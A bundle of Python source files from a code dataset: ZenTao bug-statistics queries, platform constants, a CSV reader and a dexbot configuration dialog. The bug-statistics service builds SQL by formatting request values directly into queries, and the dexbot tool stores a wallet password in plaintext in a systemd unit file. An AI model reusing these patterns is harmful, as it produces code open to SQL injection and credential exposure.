get_subroutine_type_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\ttype = token.get_type()\n\t\tvalue = token.get_value()\n\t\tprimitive = type == TTT.KEYWORD and key_dict[value] in CompilationEngine.subroutine_types\n\t\tobj = type == TTT.IDENTIFIER\n\t\tif not primitive and not obj:\n\t\t\traise Exception(SUBROUTINE_NOT_FOUND_EXCEPTION + value)\n\t\treturn token.get_xml_form()\n\n\tdef get_var_XML(self):\n\t\ttoken = self.get_and_advance_tokenizer()\n\t\tif token.get_type() != TTT.KEYWORD or key_dict[token.get_value()] != TTK.VAR:\n\t\t\traise Exception(VAR_DECLARE_NOT_FOUND_EXCEPTION + token.get_value())\n\t\treturn token.get_xml_form()\n","sub_path":"Project 10 - JACK to XML translator (Python)/srcFiles/CompilationEngine.py","file_name":"CompilationEngine.py","file_ext":"py","file_size_in_byte":23552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"311075666","text":"#!/user/bin/env python3\n# -*- coding: utf-8 -*-\nimport datetime,json\nimport operator\nfrom framework.Inquiry_info import *\nfrom config.config import *\nfrom framework.Query_db import Query_DB\nfrom framework.logger import Logger\n\nimport configparser,os\nproDir = os.getcwd()\nconfigPath = os.path.join(proDir, \"config\\config.ini\")\ncf = configparser.ConfigParser()\ncf.read(configPath,encoding=\"utf-8-sig\")\n\n\n\n\nlogger = Logger(logger=\"ServiceAPI\").getlog()\n\n\n\n# print((StartTime + datetime.timedelta(days=1)).strftime(\"%Y-%m-%d %H:%M:%S\"))\n# # 2019-03-29 17:25:19\n# print((StartTime + datetime.timedelta(days=-2)).strftime(\"%Y-%m-%d %H:%M:%S\"))\n# # 2019-03-27 17:26:23\nclass ServiceAPI():\n def grow_days_zs(self,dic):#天增长\n\n def timeweek(time_rq):\n from datetime import datetime\n week = datetime.strptime(time_rq, \"%Y-%m-%d\").weekday()\n return week\n StartTime_srt = '%s 00:00:00'%(dic['StartTime'])\n End_Time_srt= '%s 23:59:59'%(dic['End_Time'])\n StartTime = datetime.datetime.strptime(StartTime_srt, '%Y-%m-%d %H:%M:%S')\n # End_Times = datetime.datetime.strptime(End_Time_srt, '%Y-%m-%d %H:%M:%S')\n # #now = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n Wkhours = ((datetime.datetime.strptime(End_Time_srt, '%Y-%m-%d %H:%M:%S') - StartTime).days)\n totallist=[]\n submodule=[]\n days_list=[]\n week_list=[]\n number_zs_list=[]\n products=[]\n modules=[]\n\n for i in range(0, Wkhours + 1):\n End_Time = ((StartTime + datetime.timedelta(days=i)).strftime(\"%Y-%m-%d 23:59:59\"))\n if dic['module']==\"\" and dic['product']!='':\n product = get_product_info(dic['product'])\n module =''\n sql_xm = \"SELECT count(*) FROM zt_bug WHERE product=%s and deleted='0' and\topenedDate between '%s' and '%s';\" % (dic['product'],StartTime_srt, End_Time)\n elif dic['module'] != \"\" and dic['product'] == '':\n product = ''\n module = get_module_info(dic['module'])\n\n sql_xm = \"SELECT count(*) FROM zt_bug WHERE module=%s and deleted='0' and\topenedDate between '%s' and '%s';\" % (dic['module'], StartTime_srt, End_Time)\n else:\n product = get_product_info(dic['product'])\n module = get_module_info(dic['module'])\n sql_xm=\"SELECT count(*) FROM zt_bug WHERE product=%s and deleted='0' and module=%s and openedDate between '%s' and '%s';\" % (dic['product'],dic['module'],StartTime_srt, End_Time)\n\n days_time = datetime.datetime.strptime(StartTime_srt, '%Y-%m-%d %H:%M:%S').strftime(\"%Y-%m-%d\")\n\n total={\n 'days': days_time,\n 'week':timeweek(days_time)+1,\n 'number_zs': Query_DB().getnum(sql_xm),\n\n }\n # sub={\n # 'days': days_time,\n # 'week': timeweek(days_time) + 1,\n #\n # 'number_mk': Query_DB().getnum(sql_zmk),\n # }\n totallist.append( total)\n days_list.append(total['days'])\n week_list.append(total['week'])\n number_zs_list.append(total['number_zs'])\n products.append(product)\n modules.append(module)\n #submodule.append(sub)\n\n StartTime_srt = ((StartTime + datetime.timedelta(days=i + 1)).strftime(\"%Y-%m-%d %H:%M:%S\"))\n\n data = {\n 'total': totallist,\n 'sub': submodule\n }\n return {\n 'message': '操作成功',\n 'result_code': '0000',\n 'product': products[0],\n 'module': modules[0],\n 'data':totallist,\n 'days_list':days_list,\n \"week_list\":week_list,\n \"number_zs_list\":number_zs_list\n }\n\n def get_module(self,product): # 获取项目下的模块\n sql=\"select * from zt_module WHERE root=%s and (type='bug' or type='story') and deleted='0' ;\"%(product)\n data=Query_DB().query_db_rowlist(sql,0)#\n alldata=Query_DB().query_db_all(sql)\n\n diclist={}\n for i in data:\n for n in alldata:\n\n if i == n['id']:\n diclist.update({str(i): n['name']})\n\n\n return {'message': '操作成功', 'result_code': '0000', 'data':{\"modulelist\":data,'Modulename':diclist} }\n\n def module_info(self,product):#各个模块详情\n\n projects_info = ((ServiceAPI().get_module(product)))\n datalists=[]\n Modulename_list=[]\n msdule_num=[]\n\n for n in projects_info['data']['modulelist']:\n\n dic = {\"module\": n,'Modulename':projects_info['data']['Modulename'][str(n)],}\n sql = \"select count(*) from zt_bug WHERE product=%s and deleted='0' And module=%s ;\" % (product,n)\n dic.update({'sums': Query_DB().getnum(sql)})\n status_list = ['closed', 'active', 'resolved']\n for i in status_list:\n sql = \"select count(*) from zt_bug WHERE product=%s and deleted='0' And module=%s AND status='%s';\" % (product,\n n, i)\n data = Query_DB().getnum(sql)\n\n dic.update({i: data})\n for i in severity():\n sql = \"select count(*) from zt_bug WHERE product=%s and deleted='0' and status!='closed' And module=%s AND severity=%s;\" % (product,\n n, i)\n data = Query_DB().getnum(sql)\n\n dic.update({\"severity_%s\"%i: data})\n\n dic.update({'Repair_rate': round(dic['closed'] / dic['sums'], 4) if dic['sums']!=0 else 0.0})\n dic.update({\"owner\":get_module_info(n)[\"owner\"]})#责任人\n dic.update(status_Rele(dic))\n\n Modulename_list.append(dic['Modulename'])\n msdule_num.append(dic['sums'])\n datalists.append(dic)\n\n Repair_rate = sorted(datalists, key=lambda i: i['Repair_rate'], reverse=False) # 降序\n\n product_name_r = []\n Repair_rate_r = []\n for i in Repair_rate:\n product_name_r.append(i['Modulename'])\n Repair_rate_r.append(i['Repair_rate'])\n\n Repair_rate_dic_sorted = {'product_name_r': product_name_r, 'Repair_rate_r': Repair_rate_r}\n\n dic = {'message': '操作成功',\n 'result_code': '0000',\n 'data': datalists,\n 'Modulename_list':Modulename_list,\n 'msdule_num':msdule_num,\n 'Repair_rate_dic_sorted':Repair_rate_dic_sorted,\n 'Repair_datalists_sorted':Repair_rate\n\n }\n dic_srt = json.dumps(dic)\n return dic_srt\n def get_product(self):#获取项目信息\n sql ='select * from zt_product WHERE deleted=\"0\";'\n data = Query_DB().query_db_all(sql)\n dic={'message': '操作成功', 'result_code': '0000', 'data':data }\n #dic_srt=json.dumps(dic)\n return dic\n\n def get_All_projects(self):#获取所有项目信息\n sql ='select * from zt_product WHERE deleted=\"0\" ORDER BY id DESC;'\n All_projects = Query_DB().query_db_all(sql)\n #All_projects=sorted(All_projects, key=operator.itemgetter('id'), reverse=True)#排序降序\n data=[]\n product_name=[]\n product_sum=[]\n Repair_rate={}\n n=1\n for i in All_projects:\n sql_sum_all=\"select count(*) from zt_bug WHERE product=%s and deleted='0';\" % (i[\"id\"])\n status_list = ['closed', 'active', 'resolved']\n\n data_dic={\n #\"ID\":n,\n 'product':i[\"id\"],\n 'name':i[\"name\"],\n 'sum_all': Query_DB().getnum(sql_sum_all),\n #'module_info':ServiceAPI().module_info(i[\"id\"]),\n\n }\n for status in status_list :\n sql_sum = \"select count(*) from zt_bug WHERE product=%s and deleted='0' AND status='%s';\" % (i[\"id\"], status)\n\n data_dic.update({status:Query_DB().getnum(sql_sum)})\n\n for s in severity() :\n sql_sum = \"select count(*) from zt_bug WHERE product=%s and deleted='0' AND severity='%s' and status!='closed';\" % (i[\"id\"], s)\n\n data_dic.update({\"severity_%s\"%s:Query_DB().getnum(sql_sum)})\n\n\n data_dic.update({'Repair_rate': round(data_dic['closed'] / data_dic['sum_all'] if data_dic['sum_all']!=0 else 0.0,4),\"PO\":get_product_info_(i[\"id\"])[\"PO\"]})\n\n\n n+=1\n data.append(data_dic)\n data_dic.update(status_Rele(data_dic))\n\n product_name.append(data_dic['name'])\n product_sum.append(data_dic['sum_all'])\n Repair_rate.update({i[\"name\"]:round(data_dic['closed'] / data_dic['sum_all'] if data_dic['sum_all']!=0 else 0.0,4)})\n\n Repair_rate=sorted(data, key = lambda i: i['Repair_rate'],reverse=False)#降序\n\n product_name_r=[]\n Repair_rate_r=[]\n for i in Repair_rate:\n product_name_r.append(i['name'])\n Repair_rate_r.append(i['Repair_rate'])\n\n\n Repair_rate_dic_sorted = {'product_name_r':product_name_r,'Repair_rate_r':Repair_rate_r}\n\n dic={'message': '操作成功', 'result_code': '0000', 'data':data,'product_name':product_name,'product_sum':product_sum ,'Repair_rate_sorted':Repair_rate,'Repair_rate_dic_sorted':Repair_rate_dic_sorted }\n dic_srt=json.dumps(dic)\n return dic_srt\n def get_module_bug(self,module):#获取模块未关闭BUG列表\n\n zentao_host =zentao_Addr()['host']\n zentao_port =zentao_Addr()['port']\n\n #sql='select * from zt_bug WHERE module=%s AND deleted=\"0\" AND status!=\"closed\" ORDER BY severity ASC;'%(module)\n sql='select * from zt_bug WHERE module=%s and deleted=\"0\" and status!=\"closed\" order by severity asc,pri asc;'%(module)\n\n data_list=Query_DB().query_db_all(sql)\n datas=[]\n config=configs()\n n=1\n for data in data_list:\n\n dic = {\n \"xulie\":n,\n \"product\":get_product_info(data['product']),\n \"module\":get_module_info(data['module'])['module'],\n 'id': data['id'],\n 'title': data['title'],\n 'severity': config['severity'][str(data['severity'])],\n 'pri': config['pri'][str(data['pri'])],\n 'status': config['status'][data['status']],\n 'openedDate': data['openedDate'],\n 'assignedTo': ServiceAPI(). get_user(data['assignedTo']),\n 'openedBy': ServiceAPI(). get_user(data['openedBy']),\n\n }\n n+=1\n datas.append(dic)\n datas_dic={'message': '操作成功', 'result_code': '0000', 'data': datas,'zentao_url':\"%s:%s\"%(zentao_host,zentao_port)}\n import json\n import datetime\n\n class DateEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, datetime.datetime):\n return obj.strftime('%Y-%m-%d %H:%M:%S')\n elif isinstance(obj, data):\n return obj.strftime(\"%Y-%m-%d\")\n else:\n return json.JSONEncoder.default(self, obj)\n\n\n datas_str=json.dumps(datas_dic, cls=DateEncoder)\n return (datas_str)\n\n def get_user(self,name ): # 查询用户信息\n if name=='':\n return '未指派'\n else:\n sql = 'select * from zt_user WHERE deleted=\"0\" and account=\"%s\" ;' % (name)\n\n data_list = Query_DB().query_db_all(sql)[0]\n return data_list['realname']\n\n def get_product_sum(self,dic):#\n dic_data={}\n if dic['module'] == \"\" and dic['product'] != '':\n sql_product = \"select * from zt_product WHERE id=%s ;\" % (dic['product'])\n sql_all = 'select count(*) from zt_bug WHERE product=%s and deleted=\"0\";' % (dic['product'])\n for i in status():\n sql_status = 'select count(*) from zt_bug WHERE product=%s and deleted=\"0\" and status=\"%s\" ;' % (dic['product'], i)\n\n dic_data.update({i: Query_DB().getnum(sql_status)})\n\n\n elif dic['module'] != \"\" and dic['product'] == '':\n\n sql_product = \"select * from zt_module WHERE id=%s ;\" % (dic['module'])\n sql_all = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\";' % (dic['module'])\n\n for i in status():\n sql_status = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\" and status=\"%s\" ;' % (dic['module'], i)\n\n dic_data.update({i: Query_DB().getnum(sql_status)})\n\n else:\n sql_product = \"select * from zt_module WHERE id=%s ;\" % (dic['module'])\n sql_all = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\";' % (dic['module'])\n for i in status():\n sql_status = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\" and status=\"%s\" ;' % (dic['module'], i)\n\n dic_data.update({i: Query_DB().getnum(sql_status)})\n\n\n\n dic_da= {'message': '操作成功',\n 'result_code': '0000',\n \"data\":{\n 'name':Query_DB().query_db_all(sql_product)[0]['name'],\n 'sum_all':Query_DB().getnum(sql_all),\n 'data': dic_data\n }\n }\n dic_srt = json.dumps(dic_da)\n return dic_srt\n\n def get_product_module_sum(self,dic):#获取项目近况数据\n dic_data={}\n if dic['module'] == \"\" and dic['product'] != '':\n sql_product = \"select * from zt_product WHERE id=%s ;\" % (dic['product'])\n sql_all = 'select count(*) from zt_bug WHERE product=%s and deleted=\"0\";' % (dic['product'])\n dic_data.update(\n {'product': Query_DB().query_db_all(sql_product)[0]['name'], 'module': '',\n 'bug_total': Query_DB().getnum(sql_all), })\n for i in status():\n sql_status = 'select count(*) from zt_bug WHERE product=%s and deleted=\"0\" and status=\"%s\" ;' % (dic['product'], i)\n\n dic_data.update({\"%s_sum\" % i: Query_DB().getnum(sql_status)})\n\n for i in severity():\n sql_status = 'select count(*) from zt_bug WHERE product=%s and deleted=\"0\" and severity=%s and status!=\"closed\";' % (dic['product'], i)\n\n dic_data.update({'severity_%s'%i: Query_DB().getnum(sql_status)})\n\n elif dic['module'] != \"\" and dic['product'] == '':\n\n sql_all = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\";' % (dic['module'])\n dic_data.update(get_module_info( dic['module']))\n dic_data.update({'bug_total': Query_DB().getnum(sql_all), })\n for i in status():\n sql_status = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\" and status=\"%s\" ;' % (dic['module'], i)\n\n dic_data.update({\"%s_sum\" % i: Query_DB().getnum(sql_status)})\n for i in severity():\n sql_status = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\" and severity=%s and status!=\"closed\";' % (dic['module'], i)\n\n dic_data.update({'severity_%s'%i: Query_DB().getnum(sql_status)})\n\n else:\n\n sql_all = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\";' % (dic['module'])\n dic_data.update(get_module_info( dic['module']))\n dic_data.update({'bug_total': Query_DB().getnum(sql_all), })\n for i in status():\n sql_status = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\" and status=\"%s\" ;' % (dic['module'], i)\n\n dic_data.update({\"%s_sum\" % i: Query_DB().getnum(sql_status)})\n for i in severity():\n sql_status = 'select count(*) from zt_bug WHERE module=%s and deleted=\"0\" and severity=%s and status!=\"closed\";' % (dic['module'], i)\n\n dic_data.update({'severity_%s'%i: Query_DB().getnum(sql_status)})\n\n # dic_new={\n # \t'product':'',\n # \t'module': '',\n # \t'bug_total':\"\",\n # \t'closed_sum': \"关闭\",\n # \t'active_sum': \"激活\",\n # \t'resolved_sum': \"待验证\",\n # \t'severity_1': '',\n # \t'severity_2': '',\n # \t'severity_3': '',\n # \t'severity_4': '',\n # }\n\n\n dic_da= {'message': '操作成功',\n 'result_code': '0000',\n \"data\":dic_data\n\n }\n dic_srt = json.dumps(dic_da)\n return dic_srt\n\n\n def Check_new_BUG(self,dic):\n if dic['module'] == \"\" and dic['product'] != '':\n sql_DESC = 'select * from zt_bug WHERE product=%s and deleted=\"0\" ORDER BY openedDate DESC LIMIT 0,1;' % (dic['product'])\n\n sql_ASC = 'select * from zt_bug WHERE product=%s and deleted=\"0\" ORDER BY openedDate ASC LIMIT 0,1;' % (dic['product'])\n product =dic['product']\n\n elif dic['module'] != \"\" and dic['product'] == '':\n product = get_module_info(dic['module'])['product_id']\n sql_DESC = 'select * from zt_bug WHERE module=%s and deleted=\"0\" ORDER BY openedDate DESC LIMIT 0,1;' % (dic['module'])\n\n sql_ASC = 'select * from zt_bug WHERE module=%s and deleted=\"0\" ORDER BY openedDate ASC LIMIT 0,1;' % (dic['module'])\n\n else:\n product = get_module_info(dic['module'])['product_id']\n sql_DESC = 'select * from zt_bug WHERE module=%s and deleted=\"0\" ORDER BY openedDate DESC LIMIT 0,1;' % (dic['module'])\n\n sql_ASC = 'select * from zt_bug WHERE module=%s and deleted=\"0\" ORDER BY openedDate ASC LIMIT 0,1;' % (dic['module'])\n data_list=Query_DB().query_db_all(sql_DESC)\n if len(data_list)!=0:\n data_list = data_list[0]['openedDate']\n start_time = Query_DB().query_db_all(sql_ASC)[0]['openedDate']\n else:\n import time\n dt = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))\n\n sql_start='SELECT * FROM zt_product WHERE id= %s;'%(product)\n data_list =dt\n start_time =Query_DB().query_db_all(sql_start)[0]['createdDate']\n\n\n dic_data = {'message': '操作成功',\n 'result_code': '0000',\n \"End_Time\":str(data_list).split(\" \")[0],#data_list#\n 'StartTime':str(start_time).split(\" \")[0]#data_list#\n }\n import json\n import datetime\n\n class DateEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, datetime.datetime):\n return obj.strftime('%Y-%m-%d %H:%M:%S')\n elif isinstance(obj, data_list):\n return obj.strftime(\"%Y-%m-%d\")\n else:\n return json.JSONEncoder.default(self, obj)\n dic_srt = json.dumps(dic_data , cls=DateEncoder)\n return dic_srt\n def Importance_level(self,dic):#获取严重级别以上BUG\n\n sql_pro='select * from zt_bug WHERE deleted=\"0\" and product=%s AND status!=\"closed\" AND severity%s ORDER BY pri ASC;'%(dic['product'],dic['severity'])\n sql_pro_module = 'select * from zt_bug WHERE deleted=\"0\" and product=%s AND module=%s AND status!=\"closed\" AND severity%s ORDER BY pri ASC;'%(dic['product'],dic['module'],dic['severity'])\n sql_module = 'select * from zt_bug WHERE deleted=\"0\" and module=%s AND status!=\"closed\" AND severity%s ORDER BY pri ASC;' % (dic['module'],dic['severity'])\n\n if dic['module']==\"\" and dic['product']!='':\n product=get_product_info(dic['product'])\n module=''\n data_dic = Query_DB().get_bug_list(sql_pro)\n elif dic['module']!=\"\" and dic['product']=='':\n module=get_module_info(dic['module'])\n product=''\n data_dic = Query_DB().get_bug_list(sql_module)\n else:\n product = get_product_info(dic['product'])\n module = get_module_info(dic['module'])\n data_dic = Query_DB().get_bug_list(sql_pro_module)\n\n import json\n import datetime\n\n class DateEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, datetime.datetime):\n return obj.strftime('%Y-%m-%d %H:%M:%S')\n elif isinstance(obj, data_dic):\n return obj.strftime(\"%Y-%m-%d\")\n else:\n return json.JSONEncoder.default(self, obj)\n\n\n dic_data = {'message': '操作成功',\n 'result_code': '0000',\n 'data':data_dic\n\n\n }\n (dic_data['data'].update({\"product\": product, \"module\": module}))\n dic_srt = json.dumps(dic_data , cls=DateEncoder)\n return dic_srt\n\n def get_severity(self,dic):#获取严重程度数量扇形图基础数据\n\n severity_name_all = []\n severity_sums_all= []\n severity_name_NOclosed=[]\n severity_sums_NOclosed=[]\n products=[]\n modules=[]\n for key_severity,values_severity in configs()['severity'].items():\n\n sql_product_all='select count(*) from zt_bug WHERE deleted=\"0\" and severity=%s and product=%s ;'%(key_severity,dic['product'])\n sql_module_all='select count(*) from zt_bug WHERE deleted=\"0\" and severity=%s AND module=%s;'%(key_severity,dic['module'])\n sql_module_product_all = 'select count(*) from zt_bug WHERE deleted=\"0\" and severity=%s and product=%s AND module=%s;'%(key_severity,dic['product'],dic['module'])\n\n sql_product_NOclosed = 'select count(*) from zt_bug WHERE deleted=\"0\" and severity=%s and product=%s and status!=\"closed\" ;' % (\n key_severity, dic['product'])\n sql_module_NOclosed = 'select count(*) from zt_bug WHERE deleted=\"0\" and severity=%s AND module=%s and status!=\"closed\";' % (\n key_severity, dic['module'])\n sql_module_product_NOclosed = 'select count(*) from zt_bug WHERE deleted=\"0\"and severity=%s and product=%s AND module=%s and status!=\"closed\";' % (\n key_severity, dic['product'], dic['module'])\n\n if dic['module'] == \"\" and dic['product'] != '':\n product = get_product_info(dic['product'])\n module = ''\n severity_sum_all=Query_DB().getnum(sql_product_all)\n severity_sum_NOclosed = Query_DB().getnum(sql_product_NOclosed)\n elif dic['module'] != \"\" and dic['product'] == '':\n product = ''\n module = get_module_info(dic['module'])\n severity_sum_all = Query_DB().getnum(sql_module_all)\n severity_sum_NOclosed = Query_DB().getnum(sql_module_NOclosed)\n elif dic['module'] != \"\" and dic['product'] != '':\n product = get_product_info(dic['product'])\n module = get_module_info(dic['module'])\n severity_sum_all = Query_DB().getnum(sql_module_product_all)\n severity_sum_NOclosed = Query_DB().getnum(sql_module_product_NOclosed)\n else:\n product = ''\n module = ''\n severity_sum_all=-1\n severity_sum_NOclosed = -1\n severity_sums_all.append(severity_sum_all)\n severity_name_all.append(values_severity)\n severity_sums_NOclosed.append(severity_sum_NOclosed)\n severity_name_NOclosed.append(values_severity)\n products.append(product)\n modules.append(module)\n\n\n dic={\n 'product':products[0],\n 'module':modules[0],\n \"severity_all\":{\n \"severity_name_all\":severity_name_all,\n \"severity_sums_all\":severity_sums_all\n },\n 'severity_NOclosed':{\n 'severity_name_NOclosed':severity_name_NOclosed,\n 'severity_sums_NOclosed':severity_sums_NOclosed\n\n }\n\n }\n\n dic_data = {'message': '操作成功',\n 'result_code': '0000',\n \"data\":dic\n }\n dic_srt = json.dumps(dic_data)\n return dic_srt\n","sub_path":"framework/ServiceAPI.py","file_name":"ServiceAPI.py","file_ext":"py","file_size_in_byte":24365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"417142370","text":"#!/usr/bin/env python\n#coding=utf-8\n# import sys\n# from util import json_encoder\ngender = {\n 0 : u'未设定',\n 1 : u'男',\n 2 : u'女'\n }\nimages = {\n 0 : 'unknown',\n 1 : u'身份证-正面',\n 2 : u'身份证-反面',\n 3 : u'学位证',\n 4 : u'毕业证',\n 5 : u'工作证',\n\n 10 : u'执业证',\n }\n\ndegress = {\n 0 : u'未设定',\n 1 : u'专科',\n 2 : u'本科',\n 3 : u'硕士',\n 4 : u'博士',\n }\n\nlevel = {\n 0 : u'未设定',\n 1 : u'助理工程师',\n 2 : u'中级工程师',\n 3 : u'高级工程师',\n 4 : u'教授级高工',\n }\n\nbudget = {\n 0 : u'未设定',\n 1 : u'1万以下',\n 2 : u'1-3万',\n 3 : u'3-5万',\n 4 : u'5-10万',\n 5 : u'10万以上',\n }\n\nproject_type = {\n 0 : u'未设定',\n 1 : u'电力',\n 2 : u'规划',\n 3 : u'环保',\n\t4 : u'市政',\n }\n\t\ninst_status = {\n\t'open':u'竞标中',\n\t'bidded':u'竞标中',\n\t'started':u'待收图',\n\t'pay':u'待支付',\n\t'eva':u'待评价',\n\t'end':u'已完成',\n\t}\neng_status = {\n\t'open':u'搜索项目',\n\t'bidded':u'竞标中',\n\t'started':u'待发图',\n\t'pay':u'确认收款',\n\t'eva':u'待评价',\n\t'end':u'已完成',\n\t}\n\t\nmessage = {\n\t'no_pro':u'查找不到工程',\n\t'opr_suc':u'操作成功',\n\t'reg_suc':u'操作成功',\n\t'bid_suc':u'竞标成功',\n\t'eir_one':u'同一微信号只能注册为一种账号类型',\n\t'bid_self':u'不能竞标自己发布的项目',\n}\n\nwelcome_message = '欢迎来到【技·术·活】大本营,我们是世界首家提出网络设计院及设计院O2O的工程设计机构。\\\n打造最有温度的10万精英工程师社群。在这里我们为有能力、有经验、有理想、敢于突破传统的精英工程师提供技术交流、\\\n项目分享、职业发展交流、兼职信息发布,一切都是为了工程师的生活更美好。【技·术·活】为自由而生。'\n\nsms = '【技·术·活】你的验证码是:{}, 30分钟内有效。如非你本人操作,可忽略本消息。'\n\ndeveloping = '该功能,加紧施工中。 请耐心等待!'\n\nif __name__ == '__main__':\n\tprint(welcome_message)\n","sub_path":"jsh_const.py","file_name":"jsh_const.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"49206149","text":"\nfrom src.DataSetReader import DataSetReader\nimport pandas as pd\n#date,county,state,fips,cases,deaths\n\nclass CountryDataSetReader(DataSetReader):\n\n def __init__(self):\n self.df = pd.read_csv(\"../data/us-counties.csv\")\n self.df = self.df.drop(\"state\",axis=1).drop(\"fips\",axis=1)\n\n\n\n def display(self):\n print(self.df)\n\nif __name__ == '__main__':\n CountryDataSetReader().display()\n\n\n\n","sub_path":"src/CountryDataSetReader.py","file_name":"CountryDataSetReader.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"455437461","text":"\"\"\"\nA module to provide an interactive text-based tool for dexbot configuration\nThe result is takemachine can be run without having to hand-edit config files.\nIf systemd is detected it will offer to install a user service unit (under ~/.local/share/systemd\nThis requires a per-user systemd process to be runnng\n\nRequires the 'dialog' tool: so UNIX-like sytems only\n\nNote there is some common cross-UI configuration stuff: look in basestrategy.py\nIt's expected GUI/web interfaces will be re-implementing code in this file, but they should\nunderstand the common code so bot strategy writers can define their configuration once\nfor each strategy class.\n\n\"\"\"\n\n\nimport dialog, importlib, os, os.path, sys, collections, re\n\nfrom dexbot.bot import STRATEGIES\n\n\nNODES=[(\"wss://openledger.hk/ws\", \"OpenLedger\"),\n (\"wss://dexnode.net/ws\", \"DEXNode\"),\n (\"wss://node.bitshares.eu/ws\", \"BitShares.EU\")]\n\n\nSYSTEMD_SERVICE_NAME=os.path.expanduser(\"~/.local/share/systemd/user/dexbot.service\")\n\nSYSTEMD_SERVICE_FILE=\"\"\"\n[Unit]\nDescription=Dexbot\n\n[Service]\nType=notify\nWorkingDirectory={homedir}\nExecStart={exe} --systemd run \nEnvironment=PYTHONUNBUFFERED=true\nEnvironment=UNLOCK={passwd}\n\n[Install]\nWantedBy=default.target\n\"\"\"\n\nclass QuitException(Exception): pass\n\ndef select_choice(current,choices):\n \"\"\"for the radiolist, get us a list with the current value selected\"\"\"\n return [(tag,text,current == tag) for tag,text in choices]\n\n\ndef process_config_element(elem,d,config):\n \"\"\"\n process an item of configuration metadata display a widget as approrpriate\n d: the Dialog object\n config: the config dctionary for this bot\n \"\"\"\n if elem.type == \"string\":\n code, txt = d.inputbox(elem.description,init=config.get(elem.key,elem.default))\n if code != d.OK: raise QuitException()\n if elem.extra:\n while not re.match(elem.extra,txt):\n d.msgbox(\"The value is not valid\")\n code, txt = d.inputbox(elem.description,init=config.get(elem.key,elem.default))\n if code != d.OK: raise QuitException()\n config[elem.key] = txt\n if elem.type == \"int\":\n code, val = d.rangebox(elem.description,init=config.get(elem.key,elem.default),min=elem.extra[0],max=elem.extra[1])\n if code != d.OK: raise QuitException()\n config[elem.key] = val\n if elem.type == \"bool\":\n code = d.yesno(elem.description)\n config[elem.key] = (code == d.OK)\n if elem.type == \"float\":\n code, txt = d.inputbox(elem.description,init=config.get(elem.key,str(elem.default)))\n if code != d.OK: raise QuitException()\n while True:\n try:\n val = float(txt)\n if val < elem.extra[0]:\n d.msgbox(\"The value is too low\")\n elif elem.extra[1] and val > elem.extra[1]:\n d.msgbox(\"the value is too high\")\n else:\n break\n except ValueError:\n d.msgbox(\"Not a valid value\")\n code, txt = d.inputbox(elem.description,init=config.get(elem.key,str(elem.default)))\n if code != d.OK: raise QuitException()\n config[elem.key] = val\n if elem.type == \"choice\":\n code, tag = d.radiolist(elem.description,choices=select_choice(config.get(elem.key,elem.default),elem.extra))\n if code != d.OK: raise QuitException()\n config[elem.key] = tag\n \ndef setup_systemd(d,config):\n if config.get(\"systemd_status\",\"install\") == \"reject\":\n return # don't nag user if previously said no\n if not os.path.exists(\"/etc/systemd\"):\n return # no working systemd\n if os.path.exists(SYSTEMD_SERVICE_NAME):\n # dexbot already installed\n # so just tell cli.py to quietly restart the daemon\n config[\"systemd_status\"] = \"installed\"\n return\n if d.yesno(\"Do you want to install dexbot as a background (daemon) process?\") == d.OK:\n for i in [\"~/.local\",\"~/.local/share\",\"~/.local/share/systemd\",\"~/.local/share/systemd/user\"]:\n j = os.path.expanduser(i)\n if not os.path.exists(j):\n os.mkdir(j)\n code, passwd = d.passwordbox(\"The wallet password entered with uptick\\nNOTE: this will be saved on disc so the bot can run unattended. This means anyone with access to this computer's file can spend all your money\",insecure=True)\n if code != d.OK: raise QuitException()\n fd = os.open(SYSTEMD_SERVICE_NAME, os.O_WRONLY|os.O_CREAT, 0o600) # because we hold password be restrictive\n with open(fd, \"w\") as fp:\n fp.write(SYSTEMD_SERVICE_FILE.format(exe=sys.argv[0],passwd=passwd,homedir=os.path.expanduser(\"~\")))\n config['systemd_status'] = 'install' # signal cli.py to set the unit up after writing config file\n else:\n config['systemd_status'] = 'reject'\n \n\ndef configure_bot(d,bot):\n if 'module' in bot:\n inv_map = {v:k for k,v in STRATEGIES.items()}\n strategy = inv_map[(bot['module'],bot['bot'])]\n else:\n strategy = 'Echo'\n code, tag = d.radiolist(\"Choose a bot strategy\",\n choices=select_choice(strategy,[(i,i) for i in STRATEGIES]))\n if code != d.OK: raise QuitException()\n bot['module'], bot['bot'] = STRATEGIES[tag]\n # import the bot class but we don't __init__ it here\n klass = getattr(\n importlib.import_module(bot[\"module\"]),\n bot[\"bot\"]\n )\n # use class metadata for per-bot configuration\n configs = klass.configure()\n if configs:\n for c in configs:\n process_config_element(c,d,bot)\n else:\n d.msgbox(\"This bot type does not have configuration information. You will have to check the bot code and add configuration values to config.yml if required\")\n return bot\n\n \n \ndef configure_dexbot(config):\n d = dialog.Dialog(dialog=\"dialog\",autowidgetsize=True)\n d.set_background_title(\"dexbot configuration\")\n tag = \"\"\n while not tag:\n code, tag = d.radiolist(\"Choose a Witness node to use\",\n choices=select_choice(config.get(\"node\"),NODES))\n if code != d.OK: raise QuitException()\n if not tag: d.msgbox(\"You need to choose a node\")\n config['node'] = tag\n bots = config.get('bots',{})\n if len(bots) == 0:\n code, txt = d.inputbox(\"Your name for the bot\")\n if code != d.OK: raise QuitException()\n config['bots'] = {txt:configure_bot(d,{})}\n 